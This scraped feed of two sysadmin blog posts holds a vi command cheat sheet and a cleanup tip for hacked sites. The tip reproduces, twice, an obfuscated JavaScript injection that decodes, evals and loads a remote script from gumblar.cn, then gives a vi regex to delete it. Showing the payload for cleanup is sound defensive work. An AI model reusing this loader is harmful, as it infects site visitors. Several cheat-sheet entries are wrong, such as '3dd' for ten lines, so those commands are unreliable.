file - use file command to know the file type vi  is very hard to learn, but really powerful Either learn VI or learn Unix :- VI:- VI is a vey powerful text editor. The name vi is derived from the shortest unambiguous abbreviation for the command visual in 'ex''; the command in question switches the line editor ex to visual mode.

The VI has three mode

• Command Mode - simple one/two ...]]> There are several tools available in Linux to edit a regular file. The most popular and user text file editor is VI, and VI Modified is called VIM.

  file – use file command to know the file type
  vi  is very hard to learn, but really powerful

  Either learn VI or learn Unix :-

  VI:- VI is a vey powerful text editor. The name vi is derived from the shortest unambiguous abbreviation for the command visual in ‘ex”; the command in question switches the line editor ex to visual mode.

  The VI has three mode

  • Command Mode – simple one/two letter commands
  • Edit Mode – Allows to append and insert text
  • Ex Mode – allows to execute commands

  Going back and forth modes requires to go to command modeby pressing escape.

  Command Mode:-

  Arrow keys – hjkl
  w – moves cursor forward by a word
  b – moves cursor backward by a word
  0,$ – beginning and end of line
  Ctrl + f , Ctrl + b – Page UP, Page Down
  Home – gg
  End – G
  :25, 25G – to the 25th line
  % – matching braces

  1. Insertion

  Insertion – I, i
  Append – A, a
  Insertion on a new line – O, o

  2. Deletion

  Delete a single character under cursor – x
  Delete a single character left of cursor – X
  Delete all the stuff from cursor to end of line – D
  delete 10 words – 10dw , d10w
  Replace a single character – r
  Undo the last change – u
  To repeat last command – .
  To join two lines together – J

  3. Search in command mode

  Search for a word downwards – /word_to_search
  Search for a word upwards – ?word_to_search
  Repeat the previous search forward – n
  Repeat the previous search backward – N

  4. Search and Replace in ex mode

  Change a single character – r
  Replace mode by typing over – R
  Search and replace first occurence of old_word with new_word in the entire file – :%s/old_word/new_word/
  Search and replace first occurence in the current line – :s/search/replace/
  Search and replace all occurences in the entire file – :%s/search/replace/g
  Search and replace all occurences in current line – :s/search/replace/g
  Search and replace the first occurence of old_word between n1 and n2 with new_word – :n1,n2s/old_word/new_word/
  Search and replace all occurences of old_word between n1 and n2 with new_word – :n1,n2s/old_word/new_word/
  Search and replace all occurences of old_word with new_word, but prompt for confirmation – :1,$s/old_word/new_word/gc

  5. Cut/Copy/Paste

  Cut the entire line – dd
  Copy the entire line – yy
  Cut the word from the current cursor position to its end – dw
  Paste – p, P
  Swap the adjacent lines – ddp
  Cut 10 lines – 3dd

  6. Exiting VI

  Save in ex mode – :w
  Exit in ex mode – :q
  Forcefully save in ex mode = :w!
  Forcefully exit in ex mode, when a change is made accidentally = :q!
  Save and Exit in command mode – ZZ
  Save and Exit in ex mode – :wq,
  Save and Exit in ex mode forcefully : wq!

  7. Advanced VI to ponder with

  :map to map the new defined command to a sequence of commands or keystrokes
  :map Ctrl+v_Ctrl+v_Space Ctrl+v_Ctrl+f means pressing space will enable page down.  Ctrl + v is to input a special character such as Esc.
  Encryption – :X and disable encryption :set key=

  So “Either learn VI or learn Unix”

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  ]]> http://www.supportsages.com/blog/2009/05/chapter-10-editing-files-in-linux/feed/ 0 http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/ http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/#comments Wed, 13 May 2009 21:03:04 +0000 George http://www.supportsages.com/blog/?p=335 <script language="javascript"><!-- (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+ :22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e: 69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0) :26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30): 26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22: 3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+ :62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74: 20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22): 3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})(); // --></script> Those who are in web hosting industry may know what the above line means :D. Anyways you can use this, in the vi exec mode to remove the lines :%s/<script\_p\{-}--><\/script>//g It's better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.]]> If you want to search and replace a pattern similar to below,

  <script language="javascript"><!-- (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --></script>

  Those who are in web hosting industry may know what the above line means . Anyways you can use this, in the vi exec mode to remove the lines

  :%s/<script\_p\{-}--><\/script>//g

  It’s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.

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